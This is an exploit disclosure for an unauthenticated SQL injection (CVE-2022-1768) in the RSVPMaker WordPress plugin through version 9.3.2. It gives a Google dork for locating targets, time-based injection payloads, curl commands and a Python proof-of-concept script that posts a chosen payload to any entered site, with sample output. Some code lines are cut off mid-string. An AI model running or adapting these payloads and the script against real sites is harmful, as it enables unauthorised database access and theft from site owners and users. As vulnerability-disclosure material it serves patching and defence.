WordPress Plugin RSVPMaker <= 9.3.2 - Unauthenticated SQL Injection vulnerability

WP_plugin_rsvpmaker__Unauthenticated-SQL-Injection_PoC.md

WordPress Plugin RSVPMaker <= 9.3.2 - Unauthenticated SQL Injection vulnerability

Exploit Title	WordPress Plugin RSVPMaker <= 9.3.2 - Unauthenticated SQL Injection vulnerability
Exploit Author	Muhammad Zeeshan (Xib3rR4dAr)
Date	May 2, 2022
Plugin Link	RSVPMaker
Plugin Active Installations	600+
Version	9.3.2 (Latest)
Tested on	Wordpress 5.9.3
Vulnerable Endpoint	/wp-json/rsvpmaker/v1/stripesuccess/anythinghere
Vulnerable File	/wp-content/plugins/rsvpmaker/rsvpmaker-email.php#L2863#L2868
Vulnerable Parameters	rsvp_id

Google Dork	inurl:/wp-content/plugins/rsvpmaker
CVE	CVE-2022-1768

Description

The RSVPMaker plugin for WordPress is vulnerable to unauthenticated SQL Injection due to insufficient escaping and parameterization on user supplied data passed to multiple SQL queries in the ~/rsvpmaker-email.php file. This makes it possible for unauthenticated attackers to steal sensitive information from the database in versions up to, and including, 9.3.2.
Endpoint is also vulnerable to unauthenticated data modfication by users.

Vulnerable Endpoint: /wp-json/rsvpmaker/v1/stripesuccess/anythinghere

Vulnerable Parameters:

- rsvp_id

`rsvp_id` is Integer based SQL Injection.

Reproduction Steps

- On wordpress installation, install and activate latest version of RSVPMaker which is version 9.3.2 as of writing, from Wordpress Plugins Repo.
- Send following request, response time will be greater than 4 seconds:

```
time curl --data "rsvp_id=(select(0)from(select(sleep(2)))a)&amount=1234&email=rando
```

- Send following request, response time will be greater than 10 seconds:

```
time curl --data "rsvp_id=(select(0)from(select(sleep(5)))a)&amount=1234&email=rando
```

Vulnerable Code

- Rest route is registered as `/rsvpmaker/v1/stripesuccess/(?P<txkey>.+)` .
- Input is taken from POST parameters and sanitized via WordPress' builtin function `sanitize_text_field` but since vulnerability is Integer based SQL Injection, quotes are not required.
- If `email` and `rsvp_id` POST parameters are not empty, they are passed to method `rsvp_confirmation_after_payment`
- Since prepared queries are not used and value of parameter `rsvp_id` is not inside quotes, SQL Injection occurs.
- When value of POST parameter `rsvp_id` parameter is `(select(0)from(select(sleep(2)))a)` and POST parameter `email` has any value, sample queries executed will be:

```
SELECT * FROM wp_rsvpmaker WHERE id=(select(0)from(select(sleep(2)))a)
SELECT * FROM wp_rsvpmaker WHERE master_rsvp=(select(0)from(select(sleep(2)))a)
```

Code

wp-content/plugins/rsvpmaker/rsvpmaker-api-endpoints.php:

```
...
396: class RSVPMaker_StripeSuccess_Controller extends WP_REST_Controller {
397:
398:    public function register_routes() {
399:
400:            $namespace = 'rsvpmaker/v1';
401:
402:            $path = 'stripesuccess/(?P<txkey>.+)';
403:
404:            register_rest_route(
405:                    $namespace,
406:                    '/' . $path,
407:                    array(
408:
409:                            array(
410:
411:                                    'methods'             => 'POST',
412:
413:                                    'callback'            => array( $this, 'get_
414:
415:                                    'permission_callback' => array( $this, 'get_
416:
417:                            ),
418:
419:                    )
```

```
420:            );
421:
422:    }
...
434:    public function get_items( $request ) {
...
442:            foreach ( $_POST as $name => $value ) {
443:
444:                    $vars[ $name ] = sanitize_text_field( $value );
445:            }
...
504:            rsvpmaker_stripe_payment_log( $vars, $key );
...
```

wp-content/plugins/rsvpmaker/rsvpmaker-stripe.php:

```
617: function rsvpmaker_stripe_payment_log( $vars, $confkey ) {
...
620:    if ( ! empty( $vars['email'] ) ) {
621:            rsvpmaker_stripe_notify( $vars );
622:    }
...
629: function rsvpmaker_stripe_notify( $vars ) {
...
634:    if ( ! empty( $vars['rsvp_id'] ) ) {
635:            rsvp_confirmation_after_payment( $vars['rsvp_id'] );
...
```

wp-content/plugins/rsvpmaker/rsvpmaker-email.php:

```
2858: function rsvp_confirmation_after_payment ($rsvp_id) {
...
2863:   $sql = "SELECT * FROM ".$wpdb->prefix."rsvpmaker WHERE id=$rsvp_id";
2864:   $rsvp = (array) $wpdb->get_row($sql);
...
2868:   $guests = $wpdb->get_results("SELECT * FROM ".$wpdb->prefix."rsvpmaker WHERE
```

Proof of Concept

```python
import requests, re, json, urllib.parse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Uncomment to use proxy
proxyDict       =   {
    #"http": "http://127.0.0.1:8081",
    #"https": "http://127.0.0.1:8081"
}

wpurl           =   input('\nWordPress URL: ')
payload         =   input('\nPayload: ') # (select(0)from(select(sleep(5)))a)

wp_session      =   requests.session()

headers         =   {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) Ap

endpoint        =   f'/wp-json/rsvpmaker/v1/stripesuccess/anythinghere'
exploit_payload =   {
    "rsvp_id": payload,
    "amount": "1234",
    "email": "randomtext"
}
exploit_url     =   wpurl+endpoint

print(f'\nSending: {exploit_url}')

wp              =   wp_session.post(exploit_url, headers=headers, data=exploit_paylo
data            =   wp.text

print("\nResponse: \n" + data)

print(f'\nTime taken: {wp.elapsed.total_seconds()}')
```

```
λ python rsvpmaker_unauthenticated_sqli.py

WordPress URL: http://127.0.0.1

Payload: (select(0)from(select(sleep(2)))a)

Sending: http://127.0.0.1/wp-json/rsvpmaker/v1/stripesuccess/anythinghere

Response:
{"rsvp_id":"(select(0)from(select(sleep(2)))a)","amount":"1234","email":"randomtext","payment_confirmation_message":""}

Time taken: 4.609462
```

Fix:

- Update RSVPMaker plugin to version 9.3.3, or newer.